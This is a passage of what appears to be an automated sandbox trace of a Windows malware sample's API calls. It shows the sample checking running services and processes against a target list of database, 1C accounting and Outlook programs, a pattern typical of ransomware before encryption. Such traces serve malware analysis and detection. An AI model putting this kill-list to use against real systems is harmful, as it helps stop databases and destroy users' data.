lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0078.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0078.137] lstrlenW (lpString="ProfSvc") returned 7 [0078.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0078.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0078.137] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0078.137] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0078.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0078.137] lstrlenW (lpString="RpcEptMapper") returned 12 [0078.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0078.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0078.137] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0078.137] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0078.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0078.137] lstrlenW (lpString="RpcSs") returned 5 [0078.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0078.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0078.137] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0078.137] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0078.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0078.138] lstrlenW (lpString="SamSs") returned 5 [0078.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0078.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0078.138] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0078.138] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0078.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0078.138] lstrlenW (lpString="Schedule") returned 8 [0078.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0078.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0078.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0078.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0078.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0078.138] lstrlenW (lpString="SENS") returned 4 [0078.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0078.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0078.138] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0078.138] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0078.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0078.138] lstrlenW (lpString="ShellHWDetection") returned 16 [0078.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0078.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0078.138] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0078.138] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0078.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0078.138] lstrlenW (lpString="Spooler") returned 7 [0078.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0078.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0078.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0078.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0078.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0078.138] lstrlenW (lpString="swprv") returned 5 [0078.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0078.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0078.138] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0078.138] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0078.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0078.139] lstrlenW (lpString="SysMain") returned 7 [0078.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0078.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0078.139] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0078.139] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0078.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0078.139] lstrlenW (lpString="Themes") returned 6 [0078.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0078.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0078.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0078.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0078.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0078.139] lstrlenW (lpString="TrkWks") returned 6 [0078.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0078.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0078.139] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0078.139] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0078.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0078.139] lstrlenW (lpString="UxSms") returned 5 [0078.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0078.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0078.139] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0078.139] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0078.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0078.139] lstrlenW (lpString="VSS") returned 3 [0078.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0078.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0078.139] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0078.139] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0078.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0078.139] lstrlenW (lpString="WdiServiceHost") returned 14 [0078.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.139] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0078.140] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0078.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0078.140] lstrlenW (lpString="WdiSystemHost") returned 13 [0078.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0078.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0078.140] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0078.140] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0078.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0078.140] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0078.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.140] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0078.140] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0078.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0078.140] lstrlenW (lpString="Winmgmt") returned 7 [0078.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0078.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0078.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0078.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0078.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0078.140] lstrlenW (lpString="WPDBusEnum") returned 10 [0078.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0078.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0078.140] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0078.140] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0078.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0078.140] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f81fa8 | out: hHeap=0x5d0000) returned 1 [0078.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0078.144] Process32FirstW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.145] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0078.145] lstrlenW (lpString="System") returned 6 [0078.145] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0078.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0078.145] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0078.146] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0078.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0078.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0078.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0078.146] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0078.146] lstrlenW (lpString="smss.exe") returned 8 [0078.146] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0078.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0078.146] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0078.146] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0078.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0078.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0078.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0078.146] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.147] lstrlenW (lpString="csrss.exe") returned 9 [0078.147] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0078.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0078.147] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0078.147] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0078.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0078.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0078.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0078.147] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0078.148] lstrlenW (lpString="wininit.exe") returned 11 [0078.148] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0078.148] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0078.148] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0078.148] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.148] lstrlenW (lpString="csrss.exe") returned 9 [0078.148] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0078.149] lstrlenW (lpString="winlogon.exe") returned 12 [0078.149] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0078.149] lstrlenW (lpString="services.exe") returned 12 [0078.149] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0078.150] lstrlenW (lpString="lsass.exe") returned 9 [0078.150] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0078.150] lstrlenW (lpString="lsm.exe") returned 7 [0078.150] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.151] lstrlenW (lpString="svchost.exe") returned 11 [0078.151] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.151] lstrlenW (lpString="svchost.exe") returned 11 [0078.151] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.152] lstrlenW (lpString="svchost.exe") returned 11 [0078.152] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.153] lstrlenW (lpString="svchost.exe") returned 11 [0078.153] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.153] lstrlenW (lpString="svchost.exe") returned 11 [0078.153] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0078.154] lstrlenW (lpString="audiodg.exe") returned 11 [0078.154] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.154] lstrlenW (lpString="svchost.exe") returned 11 [0078.154] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.155] lstrlenW (lpString="svchost.exe") returned 11 [0078.155] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0078.155] lstrlenW (lpString="dwm.exe") returned 7 [0078.155] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0078.156] lstrlenW (lpString="explorer.exe") returned 12 [0078.156] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0078.156] lstrlenW (lpString="spoolsv.exe") returned 11 [0078.156] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.157] lstrlenW (lpString="svchost.exe") returned 11 [0078.157] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.157] lstrlenW (lpString="taskhost.exe") returned 12 [0078.158] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0078.158] lstrlenW (lpString="taskeng.exe") returned 11 [0078.158] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0078.159] lstrlenW (lpString="spoken.exe") returned 10 [0078.159] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0078.159] lstrlenW (lpString="cut baby kind.exe") returned 17 [0078.159] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0078.160] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0078.160] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0078.160] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0078.160] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0078.161] lstrlenW (lpString="things apt speaker.exe") returned 22 [0078.161] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0078.161] lstrlenW (lpString="longest.exe") returned 11 [0078.161] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0078.162] lstrlenW (lpString="liberty.exe") returned 11 [0078.162] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0078.162] lstrlenW (lpString="robust.exe") returned 10 [0078.162] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0078.165] lstrlenW (lpString="browse.exe") returned 10 [0078.166] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0078.166] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0078.166] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0078.167] lstrlenW (lpString="blocked.exe") returned 11 [0078.167] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0078.167] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0078.167] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0078.168] lstrlenW (lpString="reno.exe") returned 8 [0078.168] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0078.168] lstrlenW (lpString="vancouver.exe") returned 13 [0078.168] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0078.254] lstrlenW (lpString="africa.exe") returned 10 [0078.254] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0078.255] lstrlenW (lpString="ph-pos.exe") returned 10 [0078.255] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0078.256] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0078.256] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, 